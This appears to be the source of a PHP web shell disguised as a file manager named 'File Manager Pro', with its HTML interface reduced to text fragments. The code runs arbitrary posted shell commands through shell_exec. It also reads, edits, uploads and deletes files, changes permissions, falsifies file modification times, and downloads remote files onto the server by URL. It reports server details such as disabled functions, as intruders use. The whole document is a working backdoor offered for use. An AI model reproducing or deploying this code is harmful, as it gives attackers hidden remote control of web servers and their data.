'; exit; } // Path $action = isset($_GET['action']) ? $_GET['action'] : 'filemanager'; $path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd(); if (!$path || !is_dir($path)) $path = getcwd(); $parent = dirname($path); // Handle sort preference if(isset($_GET['sort'])) $_SESSION['sort']=$_GET['sort']; if(isset($_GET['order'])) $_SESSION['order']=$_GET['order']; $sort = isset($_SESSION['sort']) ? $_SESSION['sort'] : 'name'; $order = isset($_SESSION['order']) ? $_SESSION['order'] : 'asc'; // Handle search $search = isset($_GET['search']) ? $_GET['search'] : ''; // Handle POST actions if ($_SERVER['REQUEST_METHOD'] == 'POST') { try { $self = basename(__FILE__); if($action=='command' && isset($_POST['cmd'])){ $cmd_path = isset($_POST['path']) ? $_POST['path'] : getcwd(); if (is_dir($cmd_path)) { chdir($cmd_path); } if(function_exists('shell_exec')){$output = shell_exec($_POST['cmd'].' 2>&1');}else{$output="Server function disabled!";} echo '
'.$output.'
'; exit; } elseif (isset($_POST['get_content'])) { $f = basename($_POST['get_content']); if ($f == $self) { echo 'Author Mas Mas Jowo'; } else { $file = $path.'/'.$f; if (is_file($file)) { echo file_get_contents($file); } else { echo ''; } } exit; } elseif (isset($_POST['new_folder'])){ mkdir($path.'/'.basename($_POST['new_folder'])); $_SESSION['msg']='Folder created'; $_SESSION['msg_type']='success'; } elseif (isset($_POST['new_file'])){ $new = basename($_POST['new_file']); if($new==$self){ $_SESSION['msg']='Cannot overwrite file manager itself'; $_SESSION['msg_type']='error'; } else { file_put_contents($path.'/'.$new, ''); $_SESSION['msg']='File created'; $_SESSION['msg_type']='success'; } } elseif (isset($_POST['delete'])){ $t=basename($_POST['delete']); if($t==$self){ $_SESSION['msg']='Cannot delete file manager itself'; $_SESSION['msg_type']='error'; } else { $target=$path.'/'.$t; if(is_dir($target)?rmdir($target):unlink($target)){ $_SESSION['msg']='Deleted successfully'; $_SESSION['msg_type']='success'; } else{ $_SESSION['msg']='Delete failed'; $_SESSION['msg_type']='error'; } } } elseif (isset($_POST['rename_from'],$_POST['rename_to'])){ if(rename($path.'/'.basename($_POST['rename_from']),$path.'/'.basename($_POST['rename_to']))){ $_SESSION['msg']='Renamed successfully'; $_SESSION['msg_type']='success'; } else{ $_SESSION['msg']='Rename failed'; $_SESSION['msg_type']='error'; } } elseif (isset($_POST['edit_file'],$_POST['content'])){ $edit = basename($_POST['edit_file']); if($edit==$self){ $_SESSION['msg']='Cannot edit file manager itself'; $_SESSION['msg_type']='error'; } else { if(file_put_contents($path.'/'.$edit,$_POST['content'])!==false){ $_SESSION['msg']='Saved successfully'; $_SESSION['msg_type']='success'; } else{ $_SESSION['msg']='Save failed'; $_SESSION['msg_type']='error'; } } } elseif (isset($_FILES['files'])){ $ok=0; foreach($_FILES['files']['tmp_name'] as $i=>$tmp) if(move_uploaded_file($tmp,$path.'/'.basename($_FILES['files']['name'][$i]))) $ok++; $_SESSION['msg']= $ok.' file(s) uploaded'; $_SESSION['msg_type']='success'; } elseif (isset($_POST['update_perm']) && isset($_POST['perm_value'])) { $file=$path.'/'.basename($_POST['update_perm']); if(@chmod($file, octdec($_POST['perm_value']))){ $_SESSION['msg']='Permission updated'; $_SESSION['msg_type']='success'; } else{ $_SESSION['msg']='Update permission failed'; $_SESSION['msg_type']='error'; } } elseif (isset($_POST['update_mtime'],$_POST['mtime_value'])){ $file=$path.'/'.basename($_POST['update_mtime']); if(@touch($file, strtotime($_POST['mtime_value']))){ $_SESSION['msg']='Modified time updated'; $_SESSION['msg_type']='success'; } else{ $_SESSION['msg']='Update failed'; $_SESSION['msg_type']='error'; } } elseif (isset($_POST['download_url'],$_POST['output_name'],$_POST['method'])){ $url=trim($_POST['download_url']); $out=$path.'/'.basename($_POST['output_name']); $method=$_POST['method']; $ok=false; switch($method){ case 'file_get_contents': $d=@file_get_contents($url); if($d!==false)$ok=file_put_contents($out,$d)!==false; break; case 'copy': $ok=@copy($url,$out); break; case 'fopen': $in=@fopen($url,'rb'); $outf=@fopen($out,'wb'); if($in&&$outf){while(!feof($in))fwrite($outf,fread($in,8192)); fclose($in); fclose($outf); $ok=true;} break; case 'stream_context': $ctx=stream_context_create(); $d=@file_get_contents($url,false,$ctx); if($d!==false)$ok=file_put_contents($out,$d)!==false; break; case 'curl': $ch=curl_init($url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); $d=curl_exec($ch); curl_close($ch); if($d!==false)$ok=file_put_contents($out,$d)!==false; break; } $_SESSION['msg']= $ok?'Download success':'Download failed'; $_SESSION['msg_type']=$ok?'success':'error'; } } catch(Exception $e){ $_SESSION['msg']='Error: '.$e->getMessage(); $_SESSION['msg_type']='error'; } header('Location: '.$_SERVER['REQUEST_URI']); exit; } // Scan dir $files=scandir($path); $folders=[];$regular_files=[]; foreach($files as $f){ if($f=='.'||$f=='..')continue; $fp=$path.'/'.$f; $stat = stat($fp); if($search && stripos($f,$search)===false) continue; if (function_exists('posix_getpwuid')) { $u = posix_getpwuid($stat['uid']); $owner = $u ? $u['name'] : '?'; } else { // Fallback untuk Windows $owner = getenv('USERNAME') ?: getenv('USER') ?: 'User'; } if (function_exists('posix_getgrgid')) { $g = posix_getgrgid($stat['gid']); $group = $g ? $g['name'] : '?'; } else { // Fallback untuk Windows $group = 'N/A'; } $perm= substr(sprintf('%o', $stat['mode']), -3); $item=['name'=>$f,'mtime'=>$stat['mtime'],'owner'=>$owner.':'.$group,'perm'=>$perm]; if(is_dir($fp)) $folders[]=$item; else $regular_files[]=$item; } // Sort $sort_func = function($a, $b) use ($sort, $order) { if ($sort == 'mtime') { if ($order == 'asc') { return ($a['mtime'] == $b['mtime']) ? 0 : (($a['mtime'] < $b['mtime']) ? -1 : 1); } else { return ($a['mtime'] == $b['mtime']) ? 0 : (($a['mtime'] > $b['mtime']) ? -1 : 1); } } else { return ($order == 'asc') ? strcasecmp($a['name'], $b['name']) : strcasecmp($b['name'], $a['name']); } }; usort($folders,$sort_func); usort($regular_files,$sort_func); // URL builder function toggle_order($c){return $c=='asc'?'desc':'asc';} function sort_url($by,$cs,$co,$p,$s){$o=($by==$cs)?toggle_order($co):'asc'; return "?path=".urlencode($p)."&sort=$by&order=$o&search=".urlencode($s);} //Breadcrumbs $parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR)); $breadcrumbs = []; $build = DIRECTORY_SEPARATOR; foreach ($parts as $part) { if ($part === '') continue; $build .= $part . DIRECTORY_SEPARATOR; $breadcrumbs[] = ['name'=>$part, 'path'=>$build]; } // Goto Dir $self_dir = dirname(realpath(__FILE__)); $docroot = realpath($_SERVER['DOCUMENT_ROOT']); //Server info function getServerInfo(){ return [ 'OS' => php_uname(), 'PHP Version' => PHP_VERSION, 'Server Software' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'CLI', 'Disabled Functions' => ini_get('disable_functions'), 'Loaded Extensions' => implode(', ', get_loaded_extensions()), ]; } ?> File Manager Pro

ORANG JAWA LAGI GABUT MAEN SHEL !!!

Logo App
  1. $crumb): ?>

💻 Server Info

    $v): ?>
  • :

💡 Execute Command

🏠Root 📂 FM Dir
Name Owner Perm Last Modified Action
📁 ..----
📁 📄

✏️ Edit:

Delete ?

New name:

File name:

Folder name:

Edit Last Modified of :

URL Source:

Output Name:

Method:

Edit Permission of :

Copyleft Mas Mas Jowo

v